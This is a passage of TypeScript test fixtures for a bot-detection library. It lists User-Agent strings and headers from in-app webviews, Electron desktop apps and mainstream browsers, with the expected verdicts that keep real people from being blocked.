---------------------------------------------------------------------------\n // Social apps on iOS. WebKit underneath, with the app's own suffix.\n // ---------------------------------------------------------------------------\n webview(\n \"app-instagram-ios\",\n \"A link tapped in Instagram on iOS\",\n \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 372.1.0.28.104 (iPhone17,1; iOS 18_6_1; en_GB; en; scale=3.00; 1206x2622; 748291056; IABMV/1)\",\n \"Instagram appends its version plus a full device descriptor and drops the Safari token entirely\",\n { notes: \"Note what is missing: no Safari/ token, so a check keyed on the browser name finds nothing to check. The IABMV flag marks the in-app browser build.\" },\n ),\n webview(\"app-instagram-android\", \"A link tapped in Instagram on Android\", \"Mozilla/5.0 (Linux; Android 15; SM-S931B Build/AP3A.240905.015.A2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 Instagram 372.0.0.39.108 Android (35/15; 450dpi; 1080x2229; samsung; SM-S931B; e3q; qcom; en_GB; 745123098)\", \"The Android build carries a wv token marking the WebView, plus a device and locale block\"),\n webview(\"app-facebook-ios\", \"A link tapped in Facebook on iOS\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/500.0.0.44.107;FBBV/687451209;FBDV/iPhone17,1;FBMD/iPhone;FBSN/iOS;FBSV/18.6.1;FBSS/3;FBID/phone;FBLC/en_GB;FBOP/5;FBRV/0]\", \"The bracketed FB block names the app, build, device, OS and locale\"),\n webview(\"app-facebook-android\", \"A link tapped in Facebook on Android\", \"Mozilla/5.0 (Linux; Android 14; SM-A556B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/500.0.0.32.109;]\", \"Android Facebook WebViews use FB_IAB and FBAV rather than the iOS block\"),\n webview(\"app-messenger\", \"A link tapped in Messenger\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/MessengerForiOS;FBAV/500.1.0.52.106;FBBV/687912344;FBDV/iPhone16,2;FBMD/iPhone;FBSN/iOS;FBSV/18.6;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5]\", \"Messenger identifies itself distinctly from the main Facebook app\"),\n webview(\"app-tiktok-android\", \"A link tapped in TikTok\", \"Mozilla/5.0 (Linux; Android 14; 23021RAA2Y Build/UKQ1.230917.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.6980.113 Mobile Safari/537.36 musical_ly_2024505030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/40.5.3 ByteLocale/en ByteFullLocale/en Region/GB AppSkin/white AppTheme/light BytedanceWebview/d8a21c6\", \"TikTok carries both the legacy musical_ly token and a BytedanceWebview build hash\", { notes: \"Contains 'Bytedance' but not 'Bytespider'. A substring match on the vendor name would classify a person as ByteDance's crawler.\" }),\n webview(\"app-tiktok-ios\", \"A link tapped in TikTok on iOS\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 musical_ly_40.5.3 JsSdk/2.0 NetType/WIFI Channel/App Store ByteLocale/en Region/US isDarkMode/0 WKWebView/1 BytedanceWebview/d8a21c6\", \"The iOS build names WKWebView explicitly\"),\n webview(\"app-snapchat\", \"A link tapped in Snapchat\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Snapchat/13.31.0.48 (like Safari/605.1.15)\", \"Snapchat's suffix says 'like Safari' rather than claiming to be Safari\"),\n webview(\"app-linkedin\", \"A link tapped in the LinkedIn app\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]\", \"A bracketed suffix and nothing else\", { notes: \"Distinct from LinkedInBot, which is the unfurler. One is a person; the other is not; the strings differ by six characters.\" }),\n webview(\"app-pinterest\", \"A link tapped in Pinterest\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Pinterest for iOS/13.12\", \"Pinterest names itself and the platform in plain words\"),\n webview(\"app-reddit\", \"A link tapped in the Reddit app\", \"Mozilla/5.0 (Linux; Android 15; Pixel 9 Build/AP4A.250105.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 RedditAndroid/2025.03.0\", \"The Reddit app opens links in a WebView by default\"),\n webview(\"app-x-twitter\", \"A link tapped in X\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Twitter for iPhone/10.71\", \"X still identifies its iOS client by the old product name\"),\n webview(\"app-discord\", \"A link tapped in Discord on mobile\", \"Mozilla/5.0 (Linux; Android 14; SM-G991B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 Discord/271.0\", \"Discord's mobile WebView\", { notes: \"Distinct from Discordbot, which unfurls the link into an embed before anyone taps it. Both arrive for the same shared URL, seconds apart.\" }),\n webview(\"app-telegram\", \"A link tapped in Telegram\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Telegram-iOS/11.5\", \"Telegram's in-app browser\"),\n webview(\"app-whatsapp\", \"A link tapped in WhatsApp\", \"Mozilla/5.0 (Linux; Android 15; SM-S931B Build/AP3A.240905.015; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36\", \"WhatsApp's Android WebView adds no suffix at all — only the wv token distinguishes it\", { notes: \"No app name anywhere. Indistinguishable from any other Android WebView, which is why the wv marker has to carry the weight.\" }),\n webview(\"app-line\", \"A link tapped in LINE\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/604.1 Line/14.20.0\", \"LINE is the dominant messenger in Japan, Taiwan and Thailand\", { language: \"ja-JP,ja;q=0.9,en-US;q=0.8\" }),\n webview(\"app-kakaotalk\", \"A link tapped in KakaoTalk\", \"Mozilla/5.0 (Linux; Android 15; SM-S938N Build/AP3A.240905.015; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 KAKAOTALK 25.3.1\", \"The dominant messenger in South Korea\", { language: \"ko-KR,ko;q=0.9,en-US;q=0.8\" }),\n webview(\"app-wechat-ios\", \"A link tapped in WeChat\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.58(0x18003a2b) NetType/WIFI Language/en\", \"WeChat's WebView is the entry point to an entire application ecosystem in China\", { language: \"zh-CN,zh;q=0.9,en;q=0.8\" }),\n webview(\"app-weibo\", \"A link tapped in Weibo\", \"Mozilla/5.0 (Linux; Android 14; 2211133C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.119 Mobile Safari/537.36 Weibo (Xiaomi-2211133C__weibo__14.9.0__android__android14)\", \"Weibo packs the manufacturer, app and OS versions into a parenthesised block\", { language: \"zh-CN,zh;q=0.9\" }),\n webview(\"app-vk\", \"A link tapped in VK\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 VKClient/8.32\", \"The dominant social network across the CIS\", { language: \"ru-RU,ru;q=0.9,en-US;q=0.8\" }),\n\n // ---------------------------------------------------------------------------\n // Non-social apps that embed a browser: banking, travel, retail, news.\n // ---------------------------------------------------------------------------\n webview(\"app-banking-3ds\", \"A 3-D Secure challenge inside a banking app\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 ExampleBank/7.14.2\", \"Card authentication opens the issuer's page inside the app's WebView\", { notes: \"A payment failing here is a lost order and a support call, and the person has no way to switch browser.\" }),\n webview(\"app-retail-loyalty\", \"A retailer's app opening its own web page\", \"Mozilla/5.0 (Linux; Android 15; Pixel 8 Build/AP4A.250105.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 ExampleShop/9.4.1\", \"Native apps commonly render loyalty and account pages as embedded web views\"),\n webview(\"app-travel-booking\", \"An airline app rendering a booking page\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 ExampleAir/6.2.0 (iOS)\", \"Booking flows are frequently web pages inside a native shell\"),\n webview(\"app-news-reader\", \"A news app opening a linked article\", \"Mozilla/5.0 (Linux; Android 14; moto g84 5G Build/U1TNS34.82-12-9; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/145.0.7049.100 Mobile Safari/537.36 ExampleNews/8.1.0\", \"News aggregators open the publisher's page in a WebView\"),\n human({\n id: \"app-podcast-shownotes\",\n title: \"A podcast app opening show notes\",\n category: \"in-app-webview\",\n provenance: \"The same application that fetches your feed also opens your links, with the same User-Agent\",\n notes:\n \"The most instructive case in this file, and the corpus caught the expectation being wrong before the library was. Overcast's User-Agent carries the crawler contact convention because the app also fetches feeds — so the library reads a *proven declared bot*, and it is right: that is genuinely what the client software is. There is a person behind this particular request and nothing in it says so. The verdict is about the client, not the intent, and the gap between those two is exactly why a proven verdict tags rather than blocks here.\",\n requests: [\n plain(\"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Overcast/2025.4 (+http://overcast.fm/; iOS podcast app)\", [\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\"],\n [\"Accept-Language\", \"en-GB,en;q=0.9\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n ]),\n ],\n selfDeclared:\n \"Overcast sends one User-Agent for both jobs, and it carries the crawler contact convention because the app also fetches feeds. The library reads a proven declaration and is correct about the client; there is simply a person behind this particular request and nothing in it says so.\",\n expect: { verdict: \"confirmed-bot\", certain: true, botClass: \"declared-bot\" },\n tags: [\"known-cost\", \"known-limit\"],\n }),\n human({\n id: \"app-kindle-in-book-link\",\n title: \"Following a footnote link from a Kindle book\",\n category: \"in-app-webview\",\n provenance: \"Kindle devices open external links in an embedded Silk-derived browser with a very reduced header set\",\n requests: [\n plain(\"Mozilla/5.0 (Linux; U; Android 11; en-GB; KFTRWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/128.1.2 like Chrome/128.0.6613.146 Safari/537.36\", [\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"],\n [\"Accept-Language\", \"en-GB\"],\n [\"Accept-Encoding\", \"gzip, deflate\"],\n ]),\n ],\n expect: { certain: false },\n }),\n human({\n id: \"app-car-infotainment\",\n title: \"A passenger opening a link on a car's infotainment screen\",\n category: \"in-app-webview\",\n provenance: \"Android Automotive builds ship a WebView on an old Chromium with an unusual device string\",\n notes: \"A small population that no signature list will ever cover, on an engine years behind the release channel. The right treatment is the same as for any unfamiliar client: score it, do not deny it.\",\n requests: [\n plain(\"Mozilla/5.0 (Linux; Android 13; Automotive Build/TQ3A.230805.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.193 Safari/537.36\", [\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\"],\n [\"Accept-Language\", \"de-DE,de;q=0.9,en;q=0.8\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n ]),\n ],\n expect: { certain: false },\n }),\n webview(\"app-email-client\", \"A mobile mail client opening a newsletter link\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Outlook-iOS/4.2531.0\", \"Outlook opens links in its own WebView rather than handing off to Safari\"),\n webview(\"app-google-app\", \"A link tapped in the Google app\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 GSA/354.0.723598878 Mobile/15E148 Safari/604.1\", \"GSA is the Google Search App's in-app browser and carries a very large share of mobile search traffic\"),\n webview(\"app-android-webview-bare\", \"A bare Android WebView from an unnamed app\", \"Mozilla/5.0 (Linux; Android 13; SM-A135F Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/140.0.7028.61 Mobile Safari/537.36\", \"Any application can embed a WebView and add nothing; only the wv token remains\", { cookie: false, notes: \"No app name, no cookies, an old Chromium and none of the modern headers. Close to the worst case a real person can present, and still a real person.\" }),\n webview(\"app-huawei-quick\", \"A Huawei Quick App\", \"Mozilla/5.0 (Linux; Android 12; ELS-NX9; HMSCore 6.14.0.302; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.186 Mobile Safari/537.36 QuickApp/12.0.6\", \"Huawei's lightweight app format renders web content in a WebView\", { language: \"zh-CN,zh;q=0.9\" }),\n\n // ---------------------------------------------------------------------------\n // Desktop applications embedding a browser engine.\n // ---------------------------------------------------------------------------\n webview(\n \"app-vscode-simple-browser\",\n \"A developer opening a page in VS Code's Simple Browser\",\n \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Code/1.97.2 Chrome/132.0.6834.196 Electron/34.2.0 Safari/537.36\",\n \"The Electron User-Agent emitted by VS Code webviews\",\n { notes: \"This exact string was classified as proven automation by a shipped version of this library, because Electron sat in the headless signature set. It then looped on the challenge, because passing one cannot undo a proven verdict. Two bugs, one User-Agent, both found by a person opening the project's own demo.\" },\n ),\n webview(\"app-slack-desktop\", \"Slack's desktop client opening a link internally\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Slack/4.45.69 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36\", \"Electron-based desktop client\"),\n webview(\"app-discord-desktop\", \"Discord's desktop client\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9200 Chrome/128.0.6613.186 Electron/32.2.7 Safari/537.36\", \"Electron again; the app name is lowercase here\"),\n webview(\"app-spotify-desktop\", \"Spotify's desktop client opening a link\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Spotify/1.2.62 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36\", \"A person listening, not the podcast fetcher\", { notes: \"The reason no signature claims the token `Spotify/`: this is a listener, and `Spotify/1.0` is a feed fetcher. One prefix, two entirely different clients.\" }),\n webview(\"app-notion-desktop\", \"Notion's desktop client\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Notion/4.5.0 Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36\", \"Electron-based note application embedding pages\"),\n webview(\"app-figma-desktop\", \"Figma's desktop client loading an embed\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Figma/125.4.4 Chrome/126.0.6478.234 Electron/31.7.5 Safari/537.36\", \"Design tools embed live web previews\"),\n webview(\"app-postman-desktop\", \"Postman's desktop client rendering a documentation page\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Postman/11.30.0 Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36\", \"Distinct from PostmanRuntime, which is the request sender\", { notes: \"PostmanRuntime is automation; Postman the application is a person reading documentation. The two arrive from the same machine within seconds of each other.\" }),\n webview(\"app-steam-overlay\", \"The Steam in-game browser\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.234 Safari/537.36 Valve Steam GameOverlay/1740000000\", \"Steam's overlay browser opens links without leaving a game\"),\n webview(\"app-office-webview\", \"A link opened from Microsoft Word\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.186 Safari/537.36 Microsoft Office Word/16.0.18324\", \"Office applications open links through an embedded browser and announce the host application\"),\n webview(\"app-teams-desktop\", \"Microsoft Teams' desktop client\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36 Teams/25.31.0\", \"Teams renders tabs and link previews in an embedded browser\"),\n];\n","import { browser, plain, userAgentOf } from \"./headers.js\";\nimport { DENYING_ACTIONS, human, humanPaced } from \"./schema.js\";\nimport type { CaseRequest, TrafficCase } from \"./schema.js\";\n\n/**\n * People.\n *\n * Every case here is a person at a keyboard or a phone, and every one of them is a\n * false positive if the library denies it service. That guarantee is enforced for the\n * whole file by {@link human}, which attaches `neverAction: [\"block\",\"drop\",\"redirect\"]`\n * to each case so it cannot be forgotten.\n *\n * The file is deliberately unflattering. Roughly a third of it is people whose setup\n * genuinely does look automated — privacy browsers, stripped headers, cookie\n * blocking, corporate proxies, ten-year-old devices — and their expectations record\n * what the library *actually* does to them rather than what we would like it to do.\n * Where the honest answer is \"this person gets challenged\", the case says so. That is\n * the cost of the policy, written down where it can be argued about, instead of\n * hidden behind an average.\n */\n\n/**\n * Inserts the revalidation headers where Chrome actually puts them — straight after\n * `Connection`, ahead of the Client Hints block.\n */\nfunction withCacheValidators(request: CaseRequest): CaseRequest {\n const headers = [...request.headers];\n headers.splice(2, 0, [\"Cache-Control\", \"max-age=0\"], [\"If-None-Match\", '\"a1b2c3d4\"']);\n return { ...request, headers };\n}\n\nconst CLEAN: readonly string[] = [\n \"self-identified\",\n \"header-integrity\",\n \"client-hints\",\n \"fetch-metadata\",\n \"accept-signature\",\n \"header-order\",\n \"trap\",\n \"ip-intelligence\",\n];\n\n/** A person on a current, unmodified browser. Nothing at all should fire. */\nfunction pristine(id: string, title: string, request: ReturnType<typeof browser>, provenance: string): TrafficCase {\n return human({\n id,\n title,\n category: \"mainstream-browser\",\n provenance,\n requests: [request],\n expect: { verdict: \"unknown\", maxScore: 0, notDetectors: CLEAN, action: \"allow\" },\n });\n}\n\nexport const HUMAN_CASES: TrafficCase[] = [\n // ---------------------------------------------------------------------------\n // Applications that put their own address in the User-Agent.\n //\n // A great many do — native apps with a webview, desktop clients, anything whose\n // author wanted a server operator to be able to reach them. None of it says the\n // request is automated, and the person behind it is an ordinary customer. The\n // `self-identified` detector used to read a bare URL or email as the whole of a\n // self-declaration and reach `certain` on it, which is a proven bot verdict on a\n // person and the one thing this corpus exists to make impossible.\n // ---------------------------------------------------------------------------\n human({\n id: \"app-webview-support-email\",\n title: \"A banking app's webview, naming its support address\",\n category: \"in-app-browser\",\n provenance: \"Native apps commonly append a product token and a contact to the system webview's User-Agent\",\n notes: \"Contains an email address and no crawler word anywhere. Believing a client's declaration is safe; inventing one for it is not.\",\n requests: [\n plain(\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Notes/3.1 (support@notes.example)\",\n ),\n ],\n expect: { certain: false, neverAction: DENYING_ACTIONS },\n }),\n\n human({\n id: \"desktop-client-homepage-url\",\n title: \"A desktop client naming its homepage\",\n category: \"in-app-browser\",\n provenance: \"A bare https:// URL in a User-Agent, without the `+` crawler convention and without a crawler word\",\n requests: [\n plain(\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15 Ledger/2.4 (https://ledger.example)\",\n ),\n ],\n expect: { certain: false, neverAction: DENYING_ACTIONS },\n }),\n\n // ---------------------------------------------------------------------------\n // Mainstream desktop. If any of these ever fails, stop and fix it before\n // anything else in the library.\n // ---------------------------------------------------------------------------\n pristine(\"chrome-windows\", \"Chrome 152 on Windows 11\", browser(\"chromeWindows\"), \"2026 User-Agent lists; Chromium freezes the minor version to 0.0.0\"),\n pristine(\"chrome-macos\", \"Chrome 152 on macOS\", browser(\"chromeMac\"), \"2026 User-Agent lists\"),\n pristine(\"chrome-linux\", \"Chrome 152 on Linux\", browser(\"chromeLinux\"), \"2026 User-Agent lists\"),\n pristine(\"edge-windows\", \"Edge 150 on Windows\", browser(\"edgeWindows\"), \"Edge reports Chromium brands alongside its own; UA carries Edg/\"),\n pristine(\"firefox-windows\", \"Firefox 148 on Windows\", browser(\"firefoxWindows\"), \"2026 User-Agent lists; Gecko sends no Client Hints\"),\n pristine(\"firefox-linux\", \"Firefox 148 on Linux, German locale\", browser(\"firefoxLinux\"), \"2026 User-Agent lists\"),\n pristine(\"safari-macos\", \"Safari 18.7 on macOS\", browser(\"safariMac\"), \"WebKit interleaves Sec-Fetch-* with content negotiation\"),\n\n // ---------------------------------------------------------------------------\n // Mainstream mobile. More than half the web.\n // ---------------------------------------------------------------------------\n pristine(\"safari-ios\", \"Safari 18.7 on iPhone\", browser(\"safariIos\"), \"2026 User-Agent lists\"),\n pristine(\"chrome-android\", \"Chrome 150 on Android\", browser(\"chromeAndroid\"), \"Android UA frozen to 'Android 10; K' since Chrome 110\"),\n pristine(\"samsung-internet\", \"Samsung Internet 27 on a Galaxy S24\", browser(\"samsungInternet\"), \"Chromium fork with its own product token; very common in Korea and India\"),\n\n human({\n id: \"chrome-android-cross-site-arrival\",\n title: \"Arriving on Android from a Google search result\",\n category: \"mainstream-browser\",\n provenance: \"Fetch Metadata spec: a cross-origin navigation reports Sec-Fetch-Site: cross-site\",\n requests: [browser(\"chromeAndroid\", { kind: \"cross-site-navigate\", referer: \"https://www.google.com/\" })],\n expect: { verdict: \"unknown\", maxScore: 0, action: \"allow\" },\n }),\n\n human({\n id: \"safari-ios-xhr\",\n title: \"An in-page fetch() for JSON from iOS Safari\",\n category: \"mainstream-browser\",\n provenance: \"Fetch Metadata spec: same-origin cors/empty\",\n notes: \"Accept is */* here, and that is correct for fetch(). The accept-signature detector must not read it as a navigation.\",\n requests: [{ ...browser(\"safariIos\", { kind: \"xhr\" }), path: \"/api/cart\" }],\n expect: { verdict: \"unknown\", maxScore: 0, notDetectors: [\"accept-signature\"], action: \"allow\" },\n }),\n\n human({\n id: \"chrome-subresource-image\",\n title: \"Chrome loading an image on the page\",\n category: \"mainstream-browser\",\n provenance: \"Fetch Metadata spec: no-cors/image\",\n requests: [browser(\"chromeWindows\", { kind: \"subresource\" })],\n expect: { verdict: \"unknown\", maxScore: 0, action: \"allow\" },\n }),\n\n // ---------------------------------------------------------------------------\n // In-app browsers. A large and growing share of mobile traffic, and the group\n // most likely to be misread: the UA is a real engine wearing an app's badge.\n // ---------------------------------------------------------------------------\n human({\n id: \"instagram-webview-ios\",\n title: \"Tapping a link in Instagram on iOS\",\n category: \"in-app-webview\",\n provenance: \"Instagram appends an 'Instagram <version>' token plus device metadata; no Safari/ token remains\",\n requests: [\n plain(\n \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 361.0.0.31.98 (iPhone16,2; iOS 18_5; en_US; en; scale=3.00; 1290x2796; 682468081)\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en-US,en;q=0.9\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]],\n ),\n ],\n expect: { verdict: \"unknown\", maxScore: 30, action: [\"allow\", \"tag\", \"log\"] },\n }),\n\n human({\n id: \"facebook-webview-android\",\n title: \"Tapping a link in Facebook on Android\",\n category: \"in-app-webview\",\n provenance: \"Android Facebook webviews carry FB_IAB and FBAV tokens\",\n requests: [\n plain(\n \"Mozilla/5.0 (Linux; Android 14; SM-A546B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.0.0 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/491.0.0.42.63;]\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\"], [\"Accept-Language\", \"en-GB,en;q=0.9\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"Sec-Fetch-Site\", \"none\"], [\"Sec-Fetch-Mode\", \"navigate\"], [\"Sec-Fetch-Dest\", \"document\"]],\n ),\n ],\n expect: { verdict: [\"unknown\", \"suspected-bot\"], action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\"] },\n notes: \"An Android webview claims Chrome but sends no Sec-CH-UA, so it scores. It must never be denied.\",\n }),\n\n human({\n id: \"tiktok-webview\",\n title: \"Tapping a link in TikTok\",\n category: \"in-app-webview\",\n provenance: \"TikTok webviews carry musical_ly or BytedanceWebview tokens\",\n requests: [\n plain(\n \"Mozilla/5.0 (Linux; Android 13; V2145 Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.0.0 Mobile Safari/537.36 musical_ly_2023905040 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/39.5.4 ByteLocale/en ByteFullLocale/en Region/GB BytedanceWebview/d8a21c6\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\"], [\"Accept-Language\", \"en-GB,en;q=0.9\"], [\"Accept-Encoding\", \"gzip, deflate\"]],\n ),\n ],\n expect: { verdict: [\"unknown\", \"suspected-bot\"], action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\"] },\n notes: \"Contains 'Bytedance' but NOT 'Bytespider'. A substring match on the vendor name here would block a person.\",\n }),\n\n human({\n id: \"snapchat-webview\",\n title: \"Tapping a link in Snapchat\",\n category: \"in-app-webview\",\n provenance: \"Snapchat webviews append a Snapchat token\",\n requests: [\n plain(\n \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Snapchat/13.24.0.44 (like Safari/605.1.15)\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en-US,en;q=0.9\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]],\n ),\n ],\n expect: { verdict: [\"unknown\", \"suspected-bot\"], action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\"] },\n }),\n\n human({\n id: \"linkedin-webview\",\n title: \"Tapping a link in the LinkedIn app\",\n category: \"in-app-webview\",\n provenance: \"LinkedIn webviews carry a LinkedInApp token\",\n notes: \"Distinct from LinkedInBot, which is the unfurler. One is a person; the other is not.\",\n requests: [\n plain(\n \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en-US,en;q=0.9\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]],\n ),\n ],\n expect: { verdict: [\"unknown\", \"suspected-bot\"], action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\"] },\n }),\n\n human({\n id: \"vscode-simple-browser\",\n title: \"A developer opening a page in VS Code's Simple Browser\",\n category: \"embedded-app\",\n provenance: \"Electron UA emitted by VS Code webviews. This exact case was a shipped bug: Electron sat in the headless signature set and produced a proven-automation verdict for a person, which then looped on the challenge.\",\n requests: [\n plain(\n \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Code/1.95.3 Chrome/128.0.6613.36 Electron/32.2.1 Safari/537.36\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\"], [\"Accept-Language\", \"en-US\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"Sec-Fetch-Site\", \"none\"], [\"Sec-Fetch-Mode\", \"navigate\"], [\"Sec-Fetch-Dest\", \"document\"]],\n ),\n ],\n expect: { certain: false, botClass: [\"unknown\", \"impersonator\"], action: [\"allow\", \"tag\", \"log\", \"delay\", \"challenge\"] },\n tags: [\"regression\"],\n }),\n\n human({\n id: \"slack-desktop\",\n title: \"Slack's desktop app opening a link internally\",\n category: \"embedded-app\",\n provenance: \"Electron-based desktop client\",\n requests: [\n plain(\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Slack/4.44.65 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36\",\n [[\"Accept\", 